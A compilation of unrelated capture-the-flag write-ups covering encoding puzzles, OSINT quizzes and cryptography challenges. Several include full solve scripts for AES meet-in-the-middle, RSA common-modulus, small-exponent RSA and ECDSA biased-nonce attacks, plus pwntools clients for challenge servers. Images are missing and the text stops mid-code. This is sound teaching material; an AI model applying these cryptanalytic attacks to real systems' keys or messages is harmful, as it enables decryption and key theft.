**Original Writeup :** [https://raw.githubusercontent.com/Khonsu-CTF/2022-VishwaCTF/main/Forest%20Trails](https://raw.githubusercontent.com/Khonsu-CTF/2022-VishwaCTF/main/Forest%20Trails)# Misc - Forest Trails (24 solves / 495 points)**Description :** *In order to survive, we need oxygen, and trees give us oxygen. Also, here's something totally unrelated that you might find interesting.*
084 082 051 123 048 082 084 097 051 072 095 051 087 080 083 104 084 082 095 095 095 077 072 084 051 072 049 095 078 051 089 105 119 067 070 084 051 083 052 051 084 051 080 051 083 084 052 095 072 095 052 084 095 082 084 083 085 048 095 072 095 075 125 118 115
084 082 051 123 048 082 084 097 051 072 095 051 087 080 083 104 084 082 095 095 095 077 072 084 051 072 049 095 078 051 089 105 119 067 070 084 051 083 052 051 084 051 080 051 083 084 052 095 072 095 052 084 095 082 084 083 085 048 095 072 095 075 125 118 115
### Write-up :My first reflex here was to analyze what looks like to be a ciphertext of some kind. I got initially tricked by its structure, the way the numbers were grouped etc and got baited by the theme of the challenge which were obviously related somehow to trees but at the end, I should have identified so much easily the famous character encoding standard known as ASCII... ?
Next step was to quickly decode it, manually or with one of the numerous tools that can do that. From one of them, I got the following result :`/!\Missing screenshot/!\`
From there, it looks like we've the content of the flag but shuffled somehow. After spending quite some time trying to find some logic to reorder it, doing research about actual trees etc I suddenly remembers my distant classes about graph theory and trees. You can read more about graph theory [here](https://en.wikipedia.org/wiki/Graph_theory) and about the trees we're interested in [here](https://en.wikipedia.org/wiki/Binary_tree).
There are a lot of different types of trees but the ones we're going to focus on here are binary trees. In this type of tree, each node can have at most 2 child nodes referred as *left child* and *right child*. The idea here was to find the right tree and the right way to go through it in order to find our flag. After some assumptions and tests, I got kinda lucky since the first option I went for was the right one. So the goal was to obtain a *rooted complete binary tree* which can be defined as such :- Rooted : initiates from only one node called root- Complete : each level of the tree is complete, meaning that each node has the maximum children possible. The only possible exception being the last level that can be not full as long as it gets filled from the left to the right- Binary tree : each node can have 2 children at most
The resulting trees using our previously found ciphertext looks like this :`/!\Missing screenshot/!\`
Now that our tree is ready, we can see that what seems to be the beginning of our flag, the *v*, is at deepest level of three, far left and the rest is around. So we've found the way we want to follow in order to read our tree, the *depth-first search traversal (DFS) in order* technique. (You can find more information about the different options that exist to go through a tree on internet in general or [here](https://towardsdatascience.com/4-types-of-tree-traversal-algorithms-d56328450846) for instance). To summarize very briefly, you start from the root node then :1. Go as far left as possible by following the left children2. Read the node3. Go back to its parent4. Read the node5. Go to the right child if any6. Read the node7. Go to its closest parent8. .......
`/!\Missing screenshot/!\`
Once the full tree read, you got the following flag :Β Β Β Β Β Β Β `vishwaCTF{TR33S_4R3_TH3_P03MS_TH4T_TH3_34RTH_WR1T3S_UP0N_TH3_SKY}`
Note : You could also automate this process quite easily but since I wasn't initially sure I was going for the right structure or the right traversal path so doing it manually was a better option to avoid wasting time and honestly, it's fairly quick to do it by hand too ? |
[Original Writeup](https://github.com/HJMsan/CTF-writeups/tree/main/vishwaCTF2022/Uzumaki) (https://github.com/HJMsan/CTF-writeups/tree/main/vishwaCTF2022/Uzumaki) |
[Original writeup](https://github.com/LambdaMamba/CTFwriteups/tree/main/VishwaCTF_2022/Forensic/So_Forgetful) (https://github.com/LambdaMamba/CTFwriteups/tree/main/VishwaCTF_2022/Forensic/So_Forgetful) |
[Original writeup](https://github.com/LambdaMamba/CTFwriteups/tree/main/VishwaCTF_2022/OSINT/Platypus_Perry) (https://github.com/LambdaMamba/CTFwriteups/tree/main/VishwaCTF_2022/OSINT/Platypus_Perry)
|
# The Library (Category: OSINT)The challenge is the following,

And we are given two images files [Howtodm.jpg](./files/Howtodm.jpg) and [Troubleshoot.jpg](./files/Troubleshoot.jpg).

The challenge mentions `Note : The attached files are NOT hints or steps to the challenge, they are guides to message the bot and troubleshooting.`, so we know that these are simply instruction pictures.
I DMed `Hello` to the `The Librarian`, and gave me the following reply,

So now I need to use OSINT to find the answer to `Tommy is to call on Miss Glen at what time?`. I searched this into Google,

and the top-most result is this [Partners in Crime Wikipedia](https://en.wikipedia.org/wiki/Partners_in_Crime_(short_story_collection)). Since this bot was called `The Librarian`, I automatically assumed that I am supposed to look for things related to fiction, so this `Partners in Crime` by Agatha Christie was the most likely candidate for the answer.

I saw that `Tommy` is one of the main characters, and searching this name on the Wikipedia page returned many results.
To narrow it down, I searched for `Miss Glen`, and found out that she only appears in `The Man in the Mist`.

Also, the only time that is mentioned in `The Man in the Mist` was `6.10 pm`, therefore I assumed this would be the answer. The bot said to `Give me the time in 12 hr format (HH:MM) (without am/pm)`, so I tried patterns like `6:10` and `06:10`. Turns out `06:10` was the correct answer.

The bot gave the next question, and when I saw `Son of Neptune`, I immediately assumed that it was related to `Rick Riordan` because I read a lot of `Percy Jackson` in my childhood and knew that the protagonist, Percy Jackson is the son of Greek god `Poseidon`, who is referred to as `Neptune` in Roman mythology.
And searching this title up on [Wikipedia](https://en.wikipedia.org/wiki/The_Son_of_Neptune) has confirmed my assumption.

The question mentions `He is also acknowledged in mythology to guide a voyage to retrieve what?`, with an emphasis on the `what`, so I assumed that we're supposed to look for the object `Percy Jackson` has retrieved in his quests.
I went ahead to [Riordan Fandom site about Percy Jackson's Quests](https://riordan.fandom.com/wiki/Quest), and saw that there were multiple objects that `Percy Jackson` had to retrieve.

The bot didn't say anything specific about the object, so I decided to try each possible object like `master bolt`, `golden fleece`, `flying chariot`, etc. from the [Riordan Fandom site about Percy Jackson's Quests](https://riordan.fandom.com/wiki/Quest).

As the bot responded to `golden fleece`, that was the answer to this question. For the next question, the bot mentions `In this classic, the names of the creation and creator are often confused.`. I immediately assumed that the bot was talking about `Frankenstein`, because I remember in literature class that the English teacher always talked about how "Frankenstein is not the name of the monster, but it's the name of the creator, who is Victor Frankenstein."
The bot says `Give me the name of the university where the creator studied`, so I assumed that I was supposed to look for the university where `Victor Frankenstein` studied. I opened up [Victor Frankenstein on Wikipedia](https://en.wikipedia.org/wiki/Victor_Frankenstein), and searched `university`. There were multiple instances of the string `university` in this Wikipedia article, and I saw that the History section of the article was the most relevant.
 I tried various patterns like `university at Ingolstadt`, `ingolstadt`, `ingolstadt university` and `University of Ingolstadt`, and turns out `University of Ingolstadt` was the correct answer.

The bot then gave me the following image.

Also, the bot only asks us `What is the name of the dragon?`.
As it mentions dragon, I assumed that this would be related to fantasy fiction. So I went to Google images and searched `fantasy language`. Among the results, I found a text similar to the one the bot gave us,

By digging deeper into the similar images section, I found out that this language was called `Cirth`, which is a [script of runes created by Daeron from Lord of the Rings](https://lotr.fandom.com/wiki/Khuzdul). I found a [translation sheet here](https://www.learn4yourlife.com/hobbit-runes-worksheet.html),

And I went ahead and translated half of the text by hand,
`STAND BY THE GREY STONE HWEN THE THRVSH KNOCKS AND THE SETTING SUN`
At this point, I decided to input this text to Google and see if it can auto-complete it for me.

Therefore, the full decoded text should be
`Stand by the grey stone when the thrush knocks, and the setting sun with the last light of Durin's Day will shine upon the key-hole`
I couldn't find anything related to dragons from this text, so I decided to look up `dragons in lord of the rings` instead, and came across the [Tolkien Wiki page about Dragons](http://tolkiengateway.net/wiki/Dragons).

I didn't know which dragon, so I decided to try them all,

Therefore, `smaug` was the answer to this question. Now for the final question, the following images were given.


I know that this is a [Pigpen Cipher](https://en.wikipedia.org/wiki/Pigpen_cipher), and deciphering the first picture would give,
`NISYTETPRISTNUFO`
However, the bot did not respond to that, so I thought the second image might contain more information. I did a reverse image search, and the [webpage for the Architect of the Capitol](https://www.aoc.gov/explore-capitol-campus/buildings-grounds/capitol-building/rotunda) came up.

So apparently, this architecture was called the `Rotunda`. The bot says `These Symbols might make you feel pretty Lost, but not as much as a severed hand right in the` before the image. Thus, I decided to look up `severed hand in rotunda` on Google, and the first result, which was a [Wikipedia page on The Lost Symbol](https://en.wikipedia.org/wiki/The_Lost_Symbol) looked pretty relevant as it says `Solomon's severed right hand in the middle of the Capitol Rotunda`. Also because the bot capitalizes `Symbols`, I knew this was referring to `The Lost Symbol`.

So I looked up `the lost symbol cipher` on Google, and saw that most of them had the keyword `magic squares` in them.

I looked up `the lost symbol cipher magic squares`, and came across [this website](https://sites.google.com/site/lostsymbolproject/masonic-cipher) that talks in detail about the cipher used in the book. I saw that the Pig-pen part was correct, but the cipher used in The Lost Symbol uses one additional step, which was the `magic square`.

So I went ahead and arranged `NISYTETPRISTNUFO` into a 4x4 square,

And I rearranged the letters as shown in the [website](https://sites.google.com/site/lostsymbolproject/masonic-cipher).

The rearranged text would be,
`OSINTISPRETTYFUN`
Which makes sense, so I went ahead and sent this text to the bot,

Therefore, the flag is,
`vishwaCTF{b00ks_d0_b3_1nt3r3st1ng!}` |
# Case loss##### can you help me brute force the case on this base 64 encoded string in order to help me find the secret message?##### Ciphertext: t0zqufqtq1rge2jsvxqzzjbyqzfur19iyvmznjrfmvnfm2ftex0
The first thing i did was to divide the cipher text into chunks of four and then get all the possible combinations of upper and lowercase letters of the chunk.```pythonfor i in range(0, len(flag_enc), 4): temp = flag_enc[i:i+4] comb = set(map(''.join, itertools.product(*zip(temp.upper(), temp.lower()))))```Then i decoded these chunks and printed the ones that didn't have any weird characters and/or were readable. ```pythonfor part in comb: try : plain = (base64.b64decode(part.ljust(8, '=')).decode('utf-8')) if not has_weird_chars(plain): print(part, plain) except: pass```And from there i remade the original text with the parts that made sense.```shellβ― python solve.pyT0ZQ OFP --T0Zq OFjUFQt PT- --Q1Rg CT`Q1RG CTF --e2Js {ble2JS {bR --VXQz Ut3 --ZjBy f0r --ZjBY f0XQzFu C1n --QzFU C1TR19I G_HR19i G_b --YVMz aS3 --NjRF 64ENjRf 64_ --MVNF 1SEMVNf 1S_ --M2Ft 3amM2FT 3aS --eX0 y} --```**OFPPT-CTF{bRUt3f0rC1nG_baS364_1S_3aSy}**
Full code```pythonimport itertoolsimport base64import stringdef has_weird_chars(text): for c in text: o = ord(c) if o < 33 or o > 126: return True return Falsealphabet = string.ascii_letters + "0123456789"#print(alphabet)flag_enc = "t0zqufqtq1rge2jsvxqzzjbyqzfur19iyvmznjrfmvnfm2ftex0"flag = ""# every 4 characters of base64 are 3 characters of the original textfor i in range(0, len(flag_enc), 4): temp = flag_enc[i:i+4] comb = set(map(''.join, itertools.product(*zip(temp.upper(), temp.lower())))) for part in comb: try : plain = (base64.b64decode(part.ljust(8, '=')).decode('utf-8')) if not has_weird_chars(plain): print(part, plain) except: pass``` |
# German riddle##### We have intercepted a suspicious communication, but unfortunately, some data was corrupted during transmission. Can you recover the message?##### M4 UKW $ Gamma 5 3 $ 8 2 $ 5 12 $ 2 ? rf cq dn ej kb mt os wz px ah##### Ciphertext: bxkf apdl wwuw wfup wixd aqfy zua (Words in the flag should be separated by underscores, and the flag formatted as : OFPPT-CTF{text_after_ofpptctf})
The title and description imply this is an [enigma cipher](https://en.wikipedia.org/wiki/Enigma_machine), so i went to [cryptii](https://cryptii.com/) and entered the parameters of the description.
**OFPPT-CTF{german_enigma_decoded}** |
# Meet Me In Middle ##### A company has deployed their own cryptographic service. They challenged anyone to break it even if they have shared the source code. The keys are unknown to everyone but them.##### Fortunately, their encryption algorithm is vulnerable. Could you help us break the encryption and read their secret flag?
We have the following encrypted text:```Super strong encryption service approved by 2022 stansdards.Message to decrypt:187f25ea856f518bcd8e7e7c17e7e6016bc77459513740e6792c84d07b465ea9cee6609881421eb4ae1606792a2d8859Encrypt your text:>{"pt":"4f465050542d435446"}f71f3b195e2336a6d30077b8184304c6```And the following code:```pythonfrom random import randintfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import padimport json
flag = b'OFPPT-CTF{Not_the_real_flag}'
def gen_key(option=0): alphabet = b'0123456789abcdef' const = b'0fpptCTF5!@#' key = b'' for i in range(16-len(const)): key += bytes([alphabet[randint(0,15)]])
if option: return key + const else: return const + key
def encrypt(data, key1, key2): cipher = AES.new(key1, mode=AES.MODE_ECB) ct = cipher.encrypt(pad(data, 16)) cipher = AES.new(key2, mode=AES.MODE_ECB) ct = cipher.encrypt(ct) return ct.hex()
def challenge(): k1 = gen_key() k2 = gen_key(1)
ct = encrypt(flag, k1, k2) print('Super strong encryption service approved by 2022 stansdards.\n'+\ 'Message to decrypt:\n' +ct + '\nEncrypt your text:\n> ') try: dt = json.loads(input().strip()) pt = bytes.fromhex(dt['pt']) res = encrypt(pt, k1, k2) print(res + '\n') exit(1) except Exception as e: print(e) print('Invalid payload.\n') exit(1) if __name__ == "__main__": challenge()```As we can see, the flag is encrypted twice with **AES-ECB** with two different keys, and after that the program asks us to input a plaintext and then ecrypts it with the same two keys.
The key generation is weak due to it having only 4 random characters and we know the alphabet
This is a **Meet in the middle attack** and the problem is almost the exact same as the one in this [writeup](https://int80h.netlify.app/writeup/byte-bandits-2020-meet-me-there/).
What we need to do the is the following:* Encrypt the plain text we are given with all the possible key1 and save all the ciphertexts with their respective keys.* Decrypt the ciphertext we are given with all the possible key2.* If we find a coincidence it means we found both keys.
(Code taken from the writeup mentioned above).
```python#!/usr/bin/python
import binasciiimport sysimport randomfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import padfrom string import printable
pt = '4f465050542d435446'ct = 'f71f3b195e2336a6d30077b8184304c6'encrypted_flag = '187f25ea856f518bcd8e7e7c17e7e6016bc77459513740e6792c84d07b465ea9cee6609881421eb4ae1606792a2d8859'
ciphertext_dict = {}alphabet = '0123456789abcdef'const = '0fpptCTF5!@#'for i in alphabet: for j in alphabet: for k in alphabet: for l in alphabet: suffix = ''.join([i, j, k, l]) key1 = const + suffix cipher1 = AES.new(key=bytes(key1,'utf-8'), mode=AES.MODE_ECB) c1 = cipher1.encrypt(pad(bytes.fromhex(pt),16)) ciphertext_dict[c1] = suffix
win_suffix = ""win_prefix = ""
for i in alphabet: for j in alphabet: for k in alphabet: for l in alphabet: prefix = ''.join([i, j, k,l]) key2 = prefix + const cipher2 = AES.new(key=bytes(key2, 'utf-8'), mode=AES.MODE_ECB) c2 = cipher2.decrypt(bytes.fromhex(ct)) if c2 in ciphertext_dict: print("[+] Wow, found {} {}".format(binascii.hexlify(bytes(ciphertext_dict[c2], 'utf-8')), binascii.hexlify(bytes(prefix,'utf-8')))) win_suffix = ciphertext_dict[c2] win_prefix = prefix
key1 = const + win_suffixkey2 = win_prefix + const print(key1)print(key2)c = AES.new(key=bytes(key2, 'utf-8'), mode=AES.MODE_ECB)middle = c.decrypt(bytes.fromhex(encrypted_flag))c = AES.new(key=bytes(key1,'utf-8'), mode=AES.MODE_ECB)flag = binascii.unhexlify(c.decrypt(middle).hex())print(flag)``````shellβ― python solve.py[+] Wow, found b'32663734' b'65613134'0fpptCTF5!@#2f74ea140fpptCTF5!@#b'OFPPT-CTF{M33t_1n_Th3_Middle_4tt4ck_4_RS4}\x06\x06\x06\x06\x06\x06'``` |
# Milkshake 250##### This is a cyberchef special combo "milkshake"! Please don't hate me!##### 4e3255334e5449784d6a45794e54566a4e7a49794e5463314e474d334f444d774e3249315a6a51334e6a497a4d4463794e6a59334e5451304e47553d
The message is encoded in hex, base64, hex again and rot 47.```shellβ― echo "4e3255334e5449784d6a45794e54566a4e7a49794e5463314e474d334f444d774e3249315a6a51334e6a497a4d4463794e6a59334e5451304e47553d" | xxd -r -p | base64 -d | xxd -r -p | tr β\!-~β βP-~\!-OβOFPPT-CTF{I_L0v3_C7Fs}β ``` |
# Rome famous general 200##### We received an anonymous encrypted message. Can you help us decrypt this text? LRMMS-PSR{d3x3h_p43q4o_p1my3o}#####;: it says you have to use a key: cipherkey
It's a keyed caesar cipher you can solve it [here](https://www.boxentriq.com/code-breaking/keyed-caesar-cipher).
**OFPPT-CTF{k3y3d_c43s4r_c1ph3r}** |
[Original writeup source](https://barelycompetent.dev/post/ctfs/2022-03-13-utctf/#public-panic).
---
Navigating to the given webpage, we see a site for "Sagishi Tech". The site looks like a simple shell site, so we aren't expected to exploit it. Instead, under the **TEAM** section, we see a list of people, each of which has a Twitter link. Under each top level link from the site, I'll enumerate seemingly relevant bits of info as nested items:
* [Neil Cline](https://twitter.com/NeilCline9)* [Britt Bryant](https://twitter.com/BrittBryant18)* [Robyn Swanson](https://twitter.com/RobynSwanson96)* [Sherman Kern](https://twitter.com/kern_sherman)
Sherman Kern is following:
* [Craig Wallace](https://twitter.com/CraigWa09526548)* Robyn* Britt* Neil
Checking out Craig Wallace's twitter page, we see he is the CISO at Sagashi: "Sagishi Tech Chief Information Security Officer". Checking his "Tweets and Replies" section, we see a post from yet another new account, "Wade Coldwater":

If you look closely at the background, we see what looks like the flag as item 3, which when submitted, is accepted.
Flag is `utflag{situational_awareness_is_key}`.
|
The quantum circuit is a variant of the Grover's algorithm, we must find the input accepted by the oracle of the algorithm.
Input qubits are checked 3 at a time 1408 times, out of the 3 equalities at least one must be true to satisfy the oracle.This result in an equation system of 1408 equations. Solving it gives us the state of every qubit satisfying the oracle.Decoding this state as ASCII gives us the flag. |
# RSA Mod
##### An encrypted RSA message has been intercepted. Can you find a way to decrypt it?
We have are given a .txt with the following:```{'n': '0xa96e6f96f6aedd5f9f6a169229f11b6fab589bf6361c5268f8217b7fad96708cfbee7857573ac606d7569b44b02afcfcfdd93c21838af933366de22a6116a2a3dee1c0015457c4935991d97014804d3d3e0d2be03ad42f675f20f41ea2afbb70c0e2a79b49789131c2f28fe8214b4506db353a9a8093dc7779ec847c2bea690e653d388e2faff459e24738cd3659d9ede795e0d1f8821fd5b49224cb47ae66f9ae3c58fa66db5ea9f73d7b741939048a242e91224f98daf0641e8a8ff19b58fb8c49b1a5abb059f44249dfd611515115a144cc7c2ca29357af46a9dc1800ae9330778ff1b7a8e45321147453cf17ef3a2111ad33bfeba2b62a047fa6a7af0eef', 'e': '0x10001', 'ct': '0x310ffa2576c3f1a193f625010cc41c21dac0022710e9c42916b81f60579738d833700faa94572bfc57eeec8b961ce6b1ec03d659ea9da71293d19419be1f2193a797c4eb933ff5a405443b1f4151fc253d4738c19c7cf0ed39e8624511d777b7fc7a866a3812ab4cc19038ca3a18f8e1f9df46dade804b9a3dc679726ef08a67576351aad20a60666623a26de367d41c56d21ed72c3402e66290e43fd87e277154de4ff2b2490bb599574b296c714afe090dba33f8e1e21b01bafab104f527bca35be930136d8df33fe81e7d87bb1b3b3ee45cc2614cfc61873e162d6521b230d7243748b229fda2d1d4e5f5f3def6349176f76876238ed3d8e1d6378a055767'}{'n': '0xa96e6f96f6aedd5f9f6a169229f11b6fab589bf6361c5268f8217b7fad96708cfbee7857573ac606d7569b44b02afcfcfdd93c21838af933366de22a6116a2a3dee1c0015457c4935991d97014804d3d3e0d2be03ad42f675f20f41ea2afbb70c0e2a79b49789131c2f28fe8214b4506db353a9a8093dc7779ec847c2bea690e653d388e2faff459e24738cd3659d9ede795e0d1f8821fd5b49224cb47ae66f9ae3c58fa66db5ea9f73d7b741939048a242e91224f98daf0641e8a8ff19b58fb8c49b1a5abb059f44249dfd611515115a144cc7c2ca29357af46a9dc1800ae9330778ff1b7a8e45321147453cf17ef3a2111ad33bfeba2b62a047fa6a7af0eef', 'e': '0x23', 'ct': '0xd646418a1491d8b7c970e3ede9fb997076a0be6b04e42d0ce0d9eb6658c59306a6794154539309708bc86afca5b8258774f644cb5894e7bd04352baf8a7a19b37157cf6cc47659aa3d8dab1b8056067a3cbaba97b6e3316d10eadabe7d14c0ba41c5b55dc8e8bddc88340e47765d12b6537c65f20aca56afc2e586b9b77f7bb43f3ee07fd4549cc591fd22270a3dbe23a158b0048090a5ce62d425299ae17123dd56b8bbf6fce700c61718ae2e723335936fb57b1a6c560a70a637cf5551bd9b9bdef02c0ee7973cb8522441b61e0d46d773fcf4b24ea2f4549e71ff8b2185e215fa00ba6a9f60312e5eee6c7c2b624cf45b65de56c0e4fc00bff55e1529733'}```We can see that the n's are the same for both ciphertexts, but the e's are different, this is a **common modulus attack** (i explain it in more depth [here](https://github.com/DoomHackCTF/WriteUps/tree/main/1337CTF/Crypto/Equality)).
```pythonfrom Crypto.Util.number import getPrime, inverse, bytes_to_long, long_to_bytes, GCDfrom ast import literal_eval
def extended_gcd(a, b): if a == 0: return b, 0, 1 else: gcd, x, y = extended_gcd(b % a, a) return gcd, y - (b // a) * x, x
n = '0xa96e6f96f6aedd5f9f6a169229f11b6fab589bf6361c5268f8217b7fad96708cfbee7857573ac606d7569b44b02afcfcfdd93c21838af933366de22a6116a2a3dee1c0015457c4935991d97014804d3d3e0d2be03ad42f675f20f41ea2afbb70c0e2a79b49789131c2f28fe8214b4506db353a9a8093dc7779ec847c2bea690e653d388e2faff459e24738cd3659d9ede795e0d1f8821fd5b49224cb47ae66f9ae3c58fa66db5ea9f73d7b741939048a242e91224f98daf0641e8a8ff19b58fb8c49b1a5abb059f44249dfd611515115a144cc7c2ca29357af46a9dc1800ae9330778ff1b7a8e45321147453cf17ef3a2111ad33bfeba2b62a047fa6a7af0eef'e1 = '0x10001'ct1 = '0x310ffa2576c3f1a193f625010cc41c21dac0022710e9c42916b81f60579738d833700faa94572bfc57eeec8b961ce6b1ec03d659ea9da71293d19419be1f2193a797c4eb933ff5a405443b1f4151fc253d4738c19c7cf0ed39e8624511d777b7fc7a866a3812ab4cc19038ca3a18f8e1f9df46dade804b9a3dc679726ef08a67576351aad20a60666623a26de367d41c56d21ed72c3402e66290e43fd87e277154de4ff2b2490bb599574b296c714afe090dba33f8e1e21b01bafab104f527bca35be930136d8df33fe81e7d87bb1b3b3ee45cc2614cfc61873e162d6521b230d7243748b229fda2d1d4e5f5f3def6349176f76876238ed3d8e1d6378a055767'
e2 = '0x23'ct2 = '0xd646418a1491d8b7c970e3ede9fb997076a0be6b04e42d0ce0d9eb6658c59306a6794154539309708bc86afca5b8258774f644cb5894e7bd04352baf8a7a19b37157cf6cc47659aa3d8dab1b8056067a3cbaba97b6e3316d10eadabe7d14c0ba41c5b55dc8e8bddc88340e47765d12b6537c65f20aca56afc2e586b9b77f7bb43f3ee07fd4549cc591fd22270a3dbe23a158b0048090a5ce62d425299ae17123dd56b8bbf6fce700c61718ae2e723335936fb57b1a6c560a70a637cf5551bd9b9bdef02c0ee7973cb8522441b61e0d46d773fcf4b24ea2f4549e71ff8b2185e215fa00ba6a9f60312e5eee6c7c2b624cf45b65de56c0e4fc00bff55e1529733'
n = (literal_eval(n))e1 = (literal_eval(e1))e2 = (literal_eval(e2))ct = (literal_eval(ct1))ct2 = literal_eval(ct2)gdc, u,v = extended_gcd(e1,e2)ct2_inv = (inverse(ct2, n))m = (pow(ct, u, n) * pow(ct2_inv, -v, n)) % nprint(long_to_bytes(m))``````shellβ― python solve.pyb'Welcome to OFPPT-CTF Event. Congratulations! You just decrypted an encrypted rsa message. Your flag is: OFPPT-CTF{R$4_M0d_4tt4cks_4re_4n0th3r_Cl4ss1c_Vuln3r4b1l17y}'``` |
See here : [https://berryberry.hatenablog.jp/](https://berryberry.hatenablog.jp/entry/2022/03/27/034315)
Opened it with Ghidra.

I found "flag.txt" in line 76, and I needed to input "HELLO" to read flag. It is not simple like just input "HELLO".

In line 73, "HELLO" was compared to the STR variable. The STR variable was empty when input "HELLO", therefore it is failed. In line 40, to put a string into STR variable, we need to use sa pointer used in line 31 and 32. So, we needed to input some symbols first shown in the image below to get FLAG.

In retrospect, I think that you can get FLAG without "+" sign. |
See here : [https://berryberry.hatenablog.jp/](https://berryberry.hatenablog.jp/entry/2022/03/27/034315)
Opened with Ghidra for the first step.

This program is similar to the Pascal. You can see that the ivar3 variable is compared with the input number in line 37.
In the function1, it calculates the greatest common divisor of local_20 variable and local_28 variable.
In the function2, it calculates the factorial of the ivar3 variable plus 3.The solution is below.```import mathfrom pwn import *
elf = ELF("./decompile", checksec=False)
host = '143.198.224.219'port = 21530
def func1(num1, num2): return math.gcd(num1, num2)
def func2(num): if (num == 0): return 1 else: return func2(num-1) * num
r = remote(host, port)
while (True): # receive two numbers now = r.recvline() if (b"fun() took" in now): break a, b = map(str, now.decode('utf-8').split())
# send number which does func1 and func2 num = func2(func1(int(a), int(b))+3) r.sendline(str(num).encode())
print(now.decode('utf-8'))r.interactive()```You can get the FLAG.
 |
See here : [https://berryberry.hatenablog.jp/](https://berryberry.hatenablog.jp/entry/2022/03/27/034315)
Opened with Ghidra.

You can see the process function does something using the number from 16 to 20 in the main function.

The display_number function returns a number from 16 to 20.

In the process function, you can see that the number of the argument is compared with the input number. You can get the FLAG if all the input is correct. You need to do same thing as the C function and the f function for the input value.I used the pwntools. ```from pwn import *
elf = ELF("./pascal", checksec=False)
host = '143.198.224.219'port = 25030
def func2(num): tmp = 1 for j in range(num): tmp *= num - j return tmp
def func1(num, i): return int(func2(num) / (func2(i) * func2(num - i)))
r = remote(host, port)
# receice a random numbernow = r.recvline()a = now.decode('utf-8')
for i in range(int(a) + 1): r.sendline(str(func1(int(a), i)).encode())
r.interactive()
```FInally, you can get the FLAG.
 |
[Original writeup](https://github.com/LambdaMamba/CTFwriteups/tree/main/VishwaCTF_2022/Cryptography/John_the_Rocker) (https://github.com/LambdaMamba/CTFwriteups/tree/main/VishwaCTF_2022/Cryptography/John_the_Rocker) |
# Baby crypto revisited Writeup
### LINE CTF 2022 - crypto 138 - 48 solves
> Last time, our side-channel attack was quite easy. But our victim found out about our sneaky attack and increased the size of nonce. Fortunately, we could still capture the first half of the nonce, which is 64-bit this time. Now please help us to find out the encryption key again. The victim is using the secp160r1 curve. The following is the captured data: r, s, k, and hash respectively. Flag is LINECTF{<encryption key>}, e.g. LINECTF{0x1234}
> [Babycrypto_revisited_b1f108dea290b83253b80443260b12c3cadc0ed7.txt](Babycrypto_revisited_b1f108dea290b83253b80443260b12c3cadc0ed7.txt)
#### Analysis
ECDSA signature pair `r`, `s` with partial nonce `k_` and message hash `h` are given. There are `num_samples = 100` pairs given. According to the description, nonce size is 128 bits, but we know the half of it. Curve order size of secp160r1 is 160 bits, so `160 - 64 = 96` bit is known. Our goal is to recover the private key `d`.
### Reduction: Biased Nonce Attack
Because we know the MSBs of `k`, we can generate new signature/message pairs which their MSBs are fixed.
Let `k = k_ + a`, where `a` is 64 bits. `k` and `k_` are 128 bit size each. We can make signature `r_new`, `s_new` which are generated using nonce `a` with hash `h_new` using `r`, `s`, `h`, `k_`. How?
```pythonr = (k * G).x()# k * G can be recovered although we do not know k, by using r which is x coord of ECr_new = (a * G).x() = (k * G - k_ * G).x()s = kinv * (h + r * d)s * k = h + r * ds * (k_ + a) = h + r * ds * a = h - s * k_ + r * drinv * r_new * s * a = rinv * r_new * (h - s * k_) + rinv * r_new * r * drinv * r_new * s * a = rinv * r_new * (h - s * k_) + r_new * d```
New signature is finally derived as below:```pythonr_new = (k * G - k_ * G).x()s_new = rinv * r_new * sh_new = rinv * r_new * (h - s * k_)```
By converting given signatures using above derivation, we get `num_sample` signatures, which uses biased nonce.The nonce's upper 96 bits will be set to zero. [Biased nonce attack time!](https://eprint.iacr.org/2019/023.pdf) Solve Hidden number problem using LLL to obtain secret key `d`. `100` sample was sufficient to recover the hidden number.
```LINECTF{0xd77d10fec685cbe16f64cba090db24d23b92f824}```
Problem output: [Babycrypto_revisited_b1f108dea290b83253b80443260b12c3cadc0ed7.txt](Babycrypto_revisited_b1f108dea290b83253b80443260b12c3cadc0ed7.txt)
exploit driver code: [solve.sage](solve.sage) |
# Weird sounds ##### This weird sound is coming from my grandma's old TV, and I think it is a secret message. Can you help me decode this?
We are given and audio that sounds like sstv, so i tried decoding using this [tool](https://github.com/colaclanth/sstv).```shellβ― sstv -d weird.wav -o flag.png[sstv] Searching for calibration header... Found![sstv] Detected SSTV mode Martin 1[sstv] Decoding image... [####################################################################################################] 100%[sstv] Drawing image data...[sstv] ...Done!```We get the following image.
|
# rsa_small

when i opened the zip file i had two files : output.txt , beezy.py
so when i saw sourc code (beezy.py) e is small so we can perform an attack
```python
from gmpy2 import irootfrom Crypto.Util.number import long_to_bytese = 5n = 848679985797447869399955772819127213061137842373015804903762494359645720791040778076619433302674004347484565791581642609473387655735195295365279289016435642019259985990645911733119485800890708230053795033609181332000447274578889940499411197562111094428807949016438566888871179849827432797743465183571439731186111884712225698892368979349739206606593045379047207591044512475303068095583610049728424692564119172882065602439029603348602584135304945650000715210121217415159672068653299460404758884228046013042562965080049653891004083434176688089444298777532346069082024899343877834584938045202455200048186554846026727297621240451214798525048971378675972260019196481887830771437670138972634154814409503426355185620129053316128528423087492174694811793403655971666568345076618727967344075031994286240815344178567441153634038071947827327700917234091487142266390015552941979817722214984014258022713900663398969526301690250025575483527895147735655625252139228855555368584244676794350771701435632552963431752523714399310405951557242368697834717565197145134464156785931396734151509020243119926355165138086318689699700337185418254990682421255569532070095700384447469238825430018975257552596722400439696783949509883005145800952113577752688735953731c = 1290693983568973212241774157251029501916031181300587856502104425060400825645233474412159795041070912725774295993070287999705559436744356587070331473154201672194895706660927805733716209570278752107616017153539788802992400477319421895132265308353914269512736230439032250634773967478099458568504291012797867556104874614937296951446237815056114697267646832399584346738180717835541698802244926455470361437886629916832531228754210088056426885624615069977138458285217304667225248399707130072871824121756788726012791836940206537928157363946715031682108412776344952206447795443691414126211540976228231813721934019177491660030885807301520689365508821556490894213716812362105926718336768325044896559692102465835491500325292511210492266786815154645636848969136539759596476855914079053513055397814403086420614976446006354782596760766518849838306525291408721775119110961750623361977018207968
for i in range(100000): rot , itrue = iroot((n*i)+c , e ) if itrue : print(long_to_bytes(rot))
```the flag is : OFPPT-CTF{Sm4ll_3xp0n3nts_1n_RS4_4re_n0t_s3cur3} |
# XOR ##### Some workers convinced me to invest in their cryptosystem. They said their brand new XOR keystream cipher would revolutionize the crypto world.##### Luckily they dropped a piece of paper with the source code on it and an encrypted flag. Can you prove they are wrong?!
We have the following ciphertext:```48ac3fe745bed053ac14ef2163cc70db58dfe862fe33860330dc22ea589c9f03d922e13365db038626eaee```And the following code:```pythonimport os
